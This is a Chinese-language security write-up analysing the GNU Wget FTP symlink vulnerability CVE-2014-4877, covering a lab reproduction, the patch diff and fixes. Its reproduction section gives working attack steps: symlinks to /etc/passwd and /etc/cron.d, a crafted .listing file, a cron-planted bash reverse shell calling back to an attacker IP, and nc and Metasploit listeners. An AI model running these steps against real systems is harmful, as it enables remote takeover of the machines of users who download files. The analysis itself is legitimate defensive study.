目錄html
1. 漏洞基本描述 2. 漏洞帶來的影響 3. 漏洞攻擊場景重現 4. 漏洞的利用場景 5. 漏洞原理分析 6. 漏洞修復方案 7. 攻防思考
1. 漏洞基本描述node
0x1: Wget簡介linux
wget是一個從網絡上自動下載文件的自由工具,支持經過HTTP、HTTPS、FTP三個最多見的TCP/IP協議下載,並可使用HTTP代理。wget名稱的由來是"World Wide Web"與"get"的結合
git
"遞歸下載"是wget提供的一個特性,咱們平時使用瀏覽器進行網頁瀏覽的時候,瀏覽器就是在進行遞歸下載,將咱們輸入的一個URL連接,已經它其中附帶的CSS、IMG、HTML HREF等連接也一併下載下來並進行渲染web
http://www.gnu.org/software/wget/manual/wget.html#Recursive-Download
0x2: 漏洞描述shell
Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.
嚴格上來講,這是GNU Wget的代碼上和符號連接處理相關代碼的的一個bugvim
A flaw was found in the way Wget handled symbolic links. A malicious FTP server could allow Wget running in the mirror mode (using the '-m' command line option) to write an arbitrary file to a location writable to by the user running Wget, possibly leading to code execution. (CVE-2014-4877)
攻擊者經過操縱ftp服務器能夠在wget用戶端環境建立任意的文件、目錄以及連接。經過符號連接攻擊,攻擊者以wget的運行權限訪問客戶端整個文件系統,覆蓋文件內容(包括二進制文件)。這個漏洞還能經過系統的cron設置或用戶級別的(bash profile, SSH authorized_keys)設置觸發遠程代碼執行centos
0x3: 漏洞原理api
wget < 1.16,retr-symlinks 缺省設置爲off/no,當客戶端wget在遞歸下載ftp服務器上的目錄時,若是存在符號連接文件,該連接文件不會被下載,而是在客戶端本地建立一個指向一樣位置的符號連接。同時連接指向的文件不會下載,除非該文件位於遞歸下載的遍歷目錄下瀏覽器
Relevant Link:
https://access.redhat.com/security/cve/CVE-2014-4877 http://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877 https://rhn.redhat.com/errata/RHSA-2014-1764.html
2. 漏洞帶來的影響
0x1: 黑客的攻擊向量
1. Access Vector: Network exploitable 2. Access Complexity: Medium 3. Authentication: Not required to exploit 4. Impact Type: 1) Allows unauthorized disclosure of information 2) Allows unauthorized modification 3) Allows disruption of service
0x2: 漏洞影響的軟件/代碼庫版本範圍
1. gnu:wget:1.13 2. gnu:wget:1.13.4 3. gnu:wget:1.13.3 4. gnu:wget:1.13.2 5. gnu:wget:1.13.1 6. gnu:wget:1.12 7. gnu:wget:1.14 8. gnu:wget:1.15 and previous versions
Relevant Link:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877
3. 漏洞攻擊場景重現
0x1: vsftpd環境搭建
1. 安裝vsftpd yum install vsftpd 2. 配置防火牆: 將FTP所使用端口開放出去 vim /etc/sysconfig/iptables 在REJECT行以前添加以下代碼 -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT service iptables restart 3. 下面是添加ftpuser用戶,設置根目錄爲/home/wwwroot/ftpuser,禁止此用戶登陸SSH的權限,並限制其訪問其它目錄 vim /etc/vsftpd/vsftpd.conf chroot_list_enable=YES # (default follows) chroot_list_file=/etc/vsftpd/chroot_list useradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuser passwd ftpuser 111 vim /etc/vsftpd/chroot_list admin test 4. 配置PASV模式 vsftpd默認沒有開啓PASV模式,如今FTP只能經過PORT模式鏈接,要開啓PASV默認須要經過下面的配置 vim /etc/vsftpd/vsftpd.conf 在末尾添加 pasv_enable=YES pasv_min_port=40000 pasv_max_port=40080 pasv_promiscuous=YES 5. 設置Selinux setsebool -P ftp_home_dir=1 setsebool -P allow_ftpd_full_access=1 6. 從新啓動vsftpd service vsftpd restart
或者直接使用vsftpd官方提供的SHELL腳本進行自動化部署
1. Installation yum -y install vsftpd db4-utils 2. Configuration http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtual_config.sh 根據提示添加用戶名、密碼 admin 111 http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtualuser_add.sh 3. 配置指定目錄的權限 cd /var/ftp/virtual_users chmod 755 admin
Relevant Link:
http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users https://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/ http://www.cnblogs.com/xiongpq/p/3384759.html
在實驗重現這個CVE漏洞以前,咱們須要對這個漏洞的攻擊場景作一個梳理
1. FTP服務器端要作的事情只要是構造一個符號連接(軟連接)(server) 2. 使用存在漏洞的wget的客戶端向服務端請求以的遞歸模式下載這個符號連接文件(client) 3. 最終受到攻擊的是client
0x2: 軟連接(符號連接)下載漏洞POC
服務端構造軟連接
cd /var/ftp/pub ln -s /etc/passwd steal ll
在另外一臺linux機器上繼續實驗,查看客戶端wget版本,確認存在本次wget漏洞
客戶端以遞歸模式向服務端發起對這個符號連接文件的下載請求
wget ftp://192.168.207.128/pub/steal -r
查看剛纔下載的文件
cd 192.168.207.128/pub/ ll cat steal
能夠看到,下載的軟連接指向了本地的/etc/passwd,不是服務端的/etc/passwd
正常的邏輯來講,客戶端下載服務端的一個指向/etc/passwd的軟連接,最後下載的也應該是服務端的/etc/passwd,可是由於wget的這個bug,致使客戶端並無下載服務端軟連接指向的文件,而是在本地創建了一個相同的軟連接,指向了本地的相應文件。也就是說此次攻擊的payload是服務端的那個軟連接,從某種程序上來講,服務端經過payload,"強制"使客戶端"建立"了任意文件(經過軟連接的任意指向)
0x3: 利用wget漏洞進行RCE(Remote Code Execute 遠程代碼執行)
0x2 POC展現了wget存在的這個code bug,而如何將這個bug轉化爲一次攻擊,咱們須要更多的步驟
在服務端構造一個指向任意位置的軟連接
cd /var/ftp/pub ln -s /etc/cron.d/ steal ll
在軟連接指向的目錄下放置執行反連shell的定時任務cronshell
cd /etc/cron.d/ cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD
爲了達到RCE的目的,須要在軟連接同一個目錄下,構造一個和軟連接文件同名的目錄項,並在該目錄下放置cronshell
須要明白的是,這件事從文件磁盤的角度來看,在Linux下是作不到的,由於Linux下全部的目錄、設備、文件都被抽象成了文件,所以不容許在同一個節點下有2個同名的文件,但這裏咱們要實現的只是"欺騙"wget client在執行"list -a"指令的時候,返回一個"一個和連接文件同名的目錄項"這樣一個假象
# cat .listing total 155 lrwxrwxrwx 1 root root 33 Feb 7 2013 steal -> /etc/cron.d drwxrwxr-x 15 root root 4096 Feb 7 2013 steal
服務端須要在指定的端口進行監聽,等到客戶端肉雞的鏈接
nc -n -vv -l -p 4444
至此,覆蓋修改客戶端的目的已達到,如下是進一步在客戶端觸發遠程代碼執行,如反向shell鏈接
客戶端執行一個很正常的ftp wget下載動做,可是卻被動的向黑客所在服務器發起了reverse shell connect
wget –m ftp://192.168.207.128:21/pub
這裏沒有截圖的緣由也是由於這是一種概念演示,其中的關鍵一步:向客戶端的"list -a"命令返回一個特定構造的數據包須要特定構造的FTP Server才能實現,接下來咱們用metersploit msf來真正的模擬這種攻擊
0x4: 利用wget漏洞進行RCE Based On MSF
1. 生成反連shell的payload代碼 msfpayload cmd/unix/reverse_bash LHOST=192.168.207.128 LPORT=4444 R 0<&108-;exec 108<>/dev/tcp/192.168.207.128/4444;sh <&108 >&108 2>&108 2. 寫入cronshell cat > cronshell << EOD > PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin > * * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell > EOD 3. 啓動MSF msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.207.128 LHOST => 192.168.207.128 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > run -j 4. 等待客戶端的wget請求 wget –m ftp://192.168.207.128:21 //隨後,客戶端執行的反連請求 5. SHELL創建後,服務端經過網絡,發送任意命令到客戶端執行
客戶端僅僅執行了一個下載文件wget操做,卻被強制進行了RCE,致使被GETSHELL
這種RCE的攻擊原理能夠大體按以下理解
1. wget的這個配置漏洞wget在本地建立了一個指向/etc/cron.d/的符號連接 2. 又因爲wget沒有作好multiple file的合法性檢測,致使它接受了ftp server返回的兩個同名的steal文件,一個是指向/etc/cron.d的符號連接,另外一個是其中包含reverse shell腳本的同名的目錄文件 3. 這個同名文件的衝突致使的結果就是,當前系統被錯誤的"欺騙"爲本身的/etc/cron.d就是ftp server返回的那個其中包含有reverse shell的目錄 4. /etc/cron.d表明着crontab定時器的執行目錄,隨後,系統按照ftp server指定的/etc/cron.d中的reverse shell進行指令執行,最終致使getshell
Relevant Link:
https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access http://www.oschina.net/news/56518/wget-cve-2014-4877 http://bobao.360.cn/learning/detail/66.html
4. 漏洞的利用場景
每種漏洞都有其對應的攻擊場景,對於CVE-2014-4877來講,攻擊場景由server、client共同組成
1. server FTP 1) 黑客能夠在本身的服務器上假設ftp,而後經過APT方式引誘受害者訪問指定的ftp wget download url 2) 黑客能夠經過直接攻擊一些流量較大的ftp下載站,替換掉原來正常提供下載的某些程序,從而讓受害者在不知不覺中被GETSHELL 2. client wget 對於客戶端的要求就是wget要存在這個CVE漏洞
5. 漏洞原理分析
下載wget-1.12源代碼進行分析
http://git.savannah.gnu.org/cgit/wget.git/snapshot/wget-1.16.tar.gz
經過patch diff,咱們能夠發現patch代碼的主要patch point爲
1. \wget-1.12\doc\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * wget.texi (symbolic links): Update documentation of retr-symlinks to reflect the new default. Add warning about potential security issues with --retr-symlinks=yes.
2. \wget-1.12\doc\wget.texi
By default, when retrieving @sc{ftp} directories recursively and a symbolic link is encountered, the symbolic link is traversed and the pointed-to files are retrieved. Currently, Wget does not traverse symbolic links to directories to download them recursively, though this feature may be added in the future. When @samp{--retr-symlinks=no} is specified, the linked-to file is not downloaded. Instead, a matching symbolic link is created on the local filesystem. The pointed-to file will not be retrieved unless this recursive retrieval would have encountered it separately and downloaded it anyway. This option poses a security risk where a malicious FTP Server may cause Wget to write to files outside of the intended directories through a specially crafted @sc{.listing} file.
3. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * init.c (defaults): Set retr-symlinks to true by default. This changes a default setting of wget. Fixes security bug CVE-2014-4877
4. \wget-1.12\src\init.c
/* 2014-09-07 Darshit Shah <darnir@gmail.com> * opt.retr_symlinks is set to true by default. Creating symbolic links on the * local filesystem pose a security threat by malicious FTP Servers that * server a specially crafted .listing file akin to this: * * lrwxrwxrwx 1 root root 33 Dec 25 2012 JoCxl6d8rFU -> / * drwxrwxr-x 15 1024 106 4096 Aug 28 02:02 JoCxl6d8rFU * * A .listing file in this fashion makes Wget susceptiple to a symlink attack * wherein the attacker is able to create arbitrary files, directories and * symbolic links on the target system and even set permissions. * * Hence, by default Wget attempts to retrieve the pointed-to files and does * not create the symbolic links locally. */ opt.retr_symlinks = true;
5. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * ftp.c (ftp_retrieve_glob): Also check for invalid entries along with harmful filenames (is_valid_entry): New function. Check if the provided node is a valid entry in a listing file.
6. \wget-1.12\src\ftp.c
增長一個is_invalid_entry()函數
/* Test if the file node is invalid. This can occur due to malformed or * maliciously crafted listing files being returned by the server. * * Currently, this function only tests if there are multiple entries in the * listing file by the same name. However this function can be expanded as more * such illegal listing formats are discovered. */ static bool is_invalid_entry (struct fileinfo *f) { struct fileinfo *cur; cur = f; char *f_name = f->name; /* If the node we're currently checking has a duplicate later, we eliminate * the current node and leave the next one intact. */ while (cur->next) { cur = cur->next; if (strcmp(f_name, cur->name) == 0) return true; } return false; }
在對ftp server返回的.listing進行處理的時候,使用is_invalid_entry()進行檢查
/* A near-top-level function to retrieve the files in a directory. The function calls ftp_get_listing, to get a linked list of files. Then it weeds out the file names that do not match the pattern. ftp_retrieve_list is called with this updated list as an argument. If the argument ACTION is GLOB_GETONE, just download the file (but first get the listing, so that the time-stamp is heeded); if it's GLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the whole directory. */ static uerr_t ftp_retrieve_glob (struct url *u, ccon *con, int action) { struct fileinfo *f, *start; uerr_t res; con->cmd |= LEAVE_PENDING; res = ftp_get_listing (u, con, &start); if (res != RETROK) return res; /* First: weed out that do not conform the global rules given in opt.accepts and opt.rejects. */ if (opt.accepts || opt.rejects) { f = start; while (f) { if (f->type != FT_DIRECTORY && !acceptable (f->name)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } else f = f->next; } } /* Remove all files with possible harmful names or invalid entries. */ f = start; while (f) { /* 這裏增長了is_invalid_entry()對ftp server返回的.listing進行了強制檢查 */ if (has_insecure_name_p (f->name) || is_invalid_entry (f)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } ......
對patch代碼的原理進行一個總結
1. wget的這個symbolic recursively file download是wget的一個功能的開關,是一個程序設計上的邏輯問題 2. 在老的存在漏洞的wget上,默認"--retr-symlinks=no",即當wget客戶端須要遞歸下載一個符號連接文件的時候,wget客戶端並不會去真正下載這個符號連接對應的文件,而是在本地建立一個同名的、指向相同節點的符號連接 3. 而patch code、修復後的新版本所作的事情,就是將"--retr-symlinks=yes"設爲默認值,即當wget客戶端須要遞歸下載一個符號連接文件的時候,wget會去下載這個符號連接所指向的真正的文件,而不是在本地建立符號連接 4. 增長了is_invalid_entry()對ftp server返回的.listing進行了強制檢查,防止出現重名的文件的現象
官方的git commit
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
CVE-2014-4877: Arbitrary Symlink Access
Wget was susceptible to a symlink attack which could create arbitrary files, directories or symbolic links and set their permissions when retrieving a directory recursively through FTP. This commit changes the default settings in Wget such that Wget no longer creates local symbolic links, but rather traverses them and retrieves the pointed-to file in such a retrieval.
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
Add checks for valid listing file in FTP
When Wget retrieves a file through FTP, it first downloads a .listing file and parses it for information about the files and other metadata. Some servers may serve invalid .listing files. This patch checks for one such known inconsistency wherein multiple lines in a listing file have the same name. Such a filesystem is clearly not possible and hence we eliminate duplicate entries here.
Relevant Link:
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7 http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c http://git.savannah.gnu.org/cgit/wget.git/ http://lists.gnu.org/archive/html/bug-wget/2014-10/msg00150.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://bugzilla.redhat.com/attachment.cgi?id=935576
6. 漏洞修復方案
wget的這個CVE的修復是一種配置項的修改,因此咱們可使用如下2種方法達到patch的目的
0x1: 配置加固
在wget客戶端進行配置加固
vim /etc/wgetrc or vim ~/.wgetrc //在最後增長一行 retr-symlinks=on
在wget客戶端進行程序升級
0x2: 更新程序
升級至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz
7. 攻防思考
Linux上的基礎軟件、代碼庫須要進行一次代碼安全檢測
Copyright (c) 2014 LittleHann All rights reserved